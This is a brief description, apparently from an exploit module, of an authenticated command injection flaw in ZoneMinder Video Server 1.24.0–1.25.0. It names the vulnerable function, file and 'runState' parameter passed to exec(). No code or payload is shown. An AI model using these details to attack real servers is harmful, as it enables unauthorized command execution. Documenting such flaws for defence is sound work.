        This module exploits a command execution vulnerability in ZoneMinder Video
        Server version 1.24.0 to 1.25.0 which could be abused to allow
        authenticated users to execute arbitrary commands under the context of the
        web server user. The 'packageControl' function in the
        'includes/actions.php' file calls 'exec()' with user controlled data
        from the 'runState' parameter.
